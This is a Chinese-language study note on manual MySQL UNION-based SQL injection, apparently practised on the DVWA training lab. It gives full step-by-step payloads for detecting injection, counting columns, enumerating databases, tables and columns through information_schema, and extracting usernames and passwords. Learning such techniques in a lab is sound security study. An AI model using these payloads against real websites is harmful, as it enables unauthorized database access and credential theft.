學習筆記十二:MySQL手注之聯合查詢注入
原理
union select 聯合查詢,即合併(取交集,結果中沒有重複⾏)前後兩個查詢;前提是前後查詢檢視必須擁有相同數量的列,列也必需擁有相同的資料型別。
Union聯合查詢注入基本流程
1.判斷是否存在注入(數字型還是字元型)
方法一:單引號法
'
方法二:邏輯法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:運演算法
-1
-0
2.猜解表名
常見的敏感表名
admin
user
admin_userinfo
system
vipuser
a_admin
xxx_admin
……
3.猜解欄位數
order by xx //xx是一個數字,表示你所猜的欄位數
4.猜解欄位名
常見的敏感欄位名
username
password
admin_username
admin_password
……
5.獲取資料
union select 1,2,3... from xx
MySQL手注之聯合查詢注入步驟詳解
1.判斷是否存在注入,注入型別是數字型還是字元型
輸入ID為1'時出現提示You have an error in your SQL……to use near ''1'' at line 1
此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''
輸入ID為1' and '1' = '1時,返回了ID:1' and '1' = '1 First name:admine 和Surname: admin
此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'
輸入ID為1' or '1' = '1時,介面將所有使用者資訊(ID,First name,Surname)都顯示出來
此時系統執行的語句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'
若以上實驗過程成功的話,就可以說明存在字元型注入
2.猜解欄位數
若輸入ID為1' order by 2 #時,介面返回ID:1' order by 2 # First name:admin Surname:admin
而當輸入ID為1' order by 3 #時,頁面返回Unknown column '3' in 'order clause'
這就說明SQL語句查詢的表的欄位數是2
3.聯合查詢
獲取當前資料庫和資料庫使用者名稱
1' union select database(),user() #
獲取當前的資料庫版本和作業系統
1' union select version(),@@version_compile_os#
獲取資料
在此之前我們需要判斷MySQL的版本。因為當MySQL的版本⼩於4.0時,是不⽀持union select聯合查詢的;當MySQL版本⼤於 5.0時,有個預設資料庫information_schema,儲存了 Mysql伺服器所有資料庫的資訊,如資料庫名,資料庫的表, 表欄的資料型別與訪問許可權等。該資料庫擁有⼀個名為 tables 的資料表,該表包含兩個欄位 table_name 和 table_schema,分別記錄 DBMS 中的儲存的表名和表名所在的資料庫。
獲取資料表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
獲取表中的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
獲取資料
1' union select user,password from users#